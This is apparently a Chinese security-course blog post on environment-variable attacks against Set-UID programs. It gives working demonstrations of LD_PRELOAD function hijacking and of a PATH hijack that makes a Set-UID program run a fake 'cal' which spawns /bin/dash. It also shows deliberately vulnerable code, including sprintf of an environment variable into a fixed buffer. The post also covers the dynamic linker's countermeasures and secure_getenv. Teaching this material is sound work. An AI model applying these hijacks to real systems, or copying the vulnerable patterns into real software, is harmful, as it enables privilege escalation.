对环境变量的介绍以及访问&获取方法,在setuid程序的应用等在上一篇博客讲到 环境变量与Shell变量的定义&区别&用法;环境变量的访问&获取&传递
这篇主要讲针对环境变量的攻击;尤其是在setuid程序中
Attack Surface on Environment Variables
我们将使用以下示例来区分静态链接和动态链接:
#include
int main()
{
printf("hello world!\n");
return 0;
}
链接器结合了程序代码和包含printf()函数的库代码
我们可以注意到静态编译程序的大小几乎是动态程序的100倍
seed@seed-virtual-machine:~/workspace/$ gcc hello.c -o hello_dynamic
seed@seed-virtual-machine:~/workspace/$ gcc hello.c -static -o hello_static
seed@seed-virtual-machine:~/workspace/$ ls -l
total 948
-rw-rw-r-- 1 seed seed 71 3月 16 20:54 hello.c
-rwxrwxr-x 1 seed seed 16696 3月 16 20:55 hello_dynamic
-rwxrwxr-x 1 seed seed 871704 3月 16 20:55 hello_static
•链接在运行时完成:共享库(windows中的DLL)
•在使用动态链接编译的程序运行之前,它的可执行文件首先被加载到内存中
我们可以使用“ldd”命令来查看程序依赖哪些共享库:
seed@seed-virtual-machine:~/workspace/$ ldd hello_dynamic
linux-vdso.so.1 (0x00007fff2e5d0000) # for system calls
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f353eb81000)
# The libc library (contains functions like printf() and sleep())
/lib64/ld-linux-x86-64.so.2 (0x00007f353ed8a000)
# 动态链接器本身位于共享库中。它在主函数被调用之前被调用。
seed@seed-virtual-machine:~/workspace/$ ldd hello_static
not a dynamic executable
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
LD_PRELOAD的偷梁换柱之能
程序调用动态链接的sleep函数:
#include
/* mytest.c */
int main()
{
sleep(1);
return 0;
}
现在我们实现自己的sleep()函数:
#include
/* sleep.c */
void sleep(int s)
{
printf("I am not sleeping!\n");
}
我们需要编译上述代码,创建共享库,并将共享库添加到LD_PRELOAD环境变量中
运行结果:
seed@seed-virtual-machine:~/workspace/$ gcc mytest.c -o mytest
seed@seed-virtual-machine:~/workspace/$ ./mytest
seed@seed-virtual-machine:~/workspace/$ gcc -c sleep.c
seed@seed-virtual-machine:~/workspace/$ gcc -shared -o libmylib.so.1.0.1 sleep.o
seed@seed-virtual-machine:~/workspace/$ ls -l
-rwxrwxr-x 1 seed seed 16200 3月 17 19:20 libmylib.so.1.0.1
-rwxrwxr-x 1 seed seed 16696 3月 17 19:19 mytest
-rw-rw-r-- 1 seed seed 86 3月 17 19:19 mytest.c
-rw-rw-r-- 1 seed seed 73 3月 17 19:16 sleep.c
-rw-rw-r-- 1 seed seed 1696 3月 17 19:19 sleep.o
seed@seed-virtual-machine:~/workspace/$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed-virtual-machine:~/workspace/$ ./mytest
I am not sleeping!
seed@seed-virtual-machine:~/workspace/$ unset LD_PRELOAD
seed@seed-virtual-machine:~/workspace/$ ./mytest
seed@seed-virtual-machine:~/workspace/$
如果示例1中的技术适用于Set-UID程序,那么它可能非常危险。让我们把上面的程序转换成Set-UID:
seed@seed-virtual-machine:~/workspace/$ sudo chown root mytest
seed@seed-virtual-machine:~/workspace/$ sudo chmod 4755 mytest
seed@seed-virtual-machine:~/workspace/$ ls -l mytest
-rwsr-xr-x 1 root seed 16696 3月 17 19:19 mytest
seed@seed-virtual-machine:~/workspace/$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed-virtual-machine:~/workspace/$ ./mytest
seed@seed-virtual-machine:~/workspace/$
看出我们的sleep()函数没有被调用。这是由于动态连接器实现的对策。当EUID和RUID不同时,它会忽略LD_PRELOAD和LD_LIBRARY_PATH环境变量。
用下一个例子来验证这个对策。
我们来验证一下反制措施;复制env程序,并将其设置为Set-UID程序:
seed@seed-virtual-machine:~/workspace/$ cp /usr/bin/env ./myenv
seed@seed-virtual-machine:~/workspace/$ sudo chown root myenv
seed@seed-virtual-machine:~/workspace/$ sudo chmod 4755 myenv
seed@seed-virtual-machine:~/workspace/$ ls -l myenv
-rwsr-xr-x 1 root seed 43352 3月 17 19:31 myenv
导出LD_LIBRARY_PATH和LD_PRELOAD并运行这两个程序:
seed@seed:~/workspace/$ export LD_PRELOAD=./libmylib.so.1.0.1
seed@seed:~/workspace/$ export LD_LIBRARY_PATH=.
seed@seed:~/workspace/$ export LD_MYOWN="my own value"
# Run the original env program
seed@seed:~/workspace/$ env | grep LD_
LD_PRELOAD=./libmylib.so.1.0.1
LD_MYOWN=my own value
LD_LIBRARY_PATH=.
# Run our env program
seed@seed:~/workspace/$ ./myenv | grep LD_
LD_MYOWN=my own value
看出,LD_PRELOAD和LD_LIBRARY_PATH 环境变量被忽略
应用程序可以调用外部程序。应用程序本身可能不使用环境变量,但调用的外部程序可能使用。
调用外部程序的典型方法:
这两种方法的攻击表面不同。我们已经在第一章中讨论了这种shell程序的攻击面。这里我们将重点讨论环境变量方面。
Shell程序的行为受许多环境变量的影响,其中最常见的是PATH变量。当shell程序运行一个命令而没有提供绝对路径时,它会使用path变量来定位该命令。
考虑以下代码:
/* the vulnerable program */
/* vul.c */
#include
int main()
{
system("cal"); //没有提供完整的路径。我们可以用它来操作path变量
}
我们将强制上述程序执行以下程序:
/* our malicious "calendar" program */
/* cal.c */
int main()
{
system("/bin/dash");
}
首先运行第一个程序,不对他进行攻击;然后改变 PATH 环境变量;
运行过程:
seed@seed-virtual-machine:~/workspace/$ gcc vul.c -o val
seed@seed-virtual-machine:~/workspace/$ sudo chown root val
seed@seed-virtual-machine:~/workspace/$ sudo chmod 4755 val
seed@seed-virtual-machine:~/workspace/$ ./val
三月 2021
日 一 二 三 四 五 六
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
seed@seed-virtual-machine:~/workspace/$ gcc cal.c -o cal
seed@seed-virtual-machine:~/workspace/$ export PATH=.:$PATH
seed@seed-virtual-machine:~/workspace/$ echo $PATH
.:/home/seed/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
seed@seed-virtual-machine:~/workspace/$ ls -l val
-rwsr-xr-x 1 root seed 16696 3月 17 19:59 val
seed@seed-virtual-machine:~/workspace/$ ./val
$ # get a shell!
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),...
$ exit
通过调用system() 的setuid程序得不到root 的 shell,原因: system()函数的setuid程序得不到root的权限;system()函数的suid失效问题
可以用execve() 函数来代替
程序通常使用来自外部库的函数。如果这些函数使用环境变量,它们将添加到攻击面
每次需要打印一条消息时,程序使用提供的库函数来翻译消息。Unix使用libc库中的gettext()和catopen()
下面的代码展示了程序如何使用locale子系统:
locale是linux系统中多语言环境的设置接口,Locale根据计算机用户所使用的语言,所在国家或者地区,以及当地的文化传统所定义的一个软件运行时的语言环境。
#include
#include
#include
#include
int main(int argc, char const *argv[])
{
if(argc>1){
printf(gettext("usage: %s filename\n"),argv[0]);
exit(0);
}
printf("normal excution proceeds...\n");
return 0;
}
程序可以直接使用环境变量。如果这些是特权程序,则可能导致不受信任的输入。
#include
#include
/* prog.c */
int main(void)
{
char arr[64];
char *ptr;
ptr = getenv("PWD");
if(ptr!=NULL){
sprintf(arr,"Present working directory is: %s",ptr);
printf("%s\n", arr);
}
return 0;
}
运行结果:
seed@seed-virtual-machine:~/workspace$ gcc prog.c -o prog
seed@seed-virtual-machine:~/workspace$ ./prog
Present working directory is: /home/seed/workspace
seed@seed-virtual-machine:~/workspace$ cd /
seed@seed-virtual-machine:/$ echo $PWD
/ # Current directory with unmodified shell variable
seed@seed-virtual-machine:/$ PWD=xyz
seed@seed-virtual-machine:xyz$ pwd
/
seed@seed-virtual-machine:xyz$ echo $PWD
xyz # Current directory with modified shell variable
- When environment variables are used by privileged Set-UID programs, they must be sanitized properly.
- Developers may choose to use a secure version of getenv(), such as secure_getenv().
- getenv() works by searching the environment variable list and returning a pointer to the string found, when used to retrieve a environment variable.
- secure_getenv() works the exact same way, except it returns NULL when “secure execution” is required.
- Secure execution is defined by conditions like when the process’s user/group EUID and RUID don’t match
Set-UID Approach VS Service Approach
• What are environment variables
• How they get passed from one process to its children
• How environment variables affect the behaviors of programs
• Risks introduced by environment variables
• Case studies
• Attack surface comparison between Set-UID and service approaches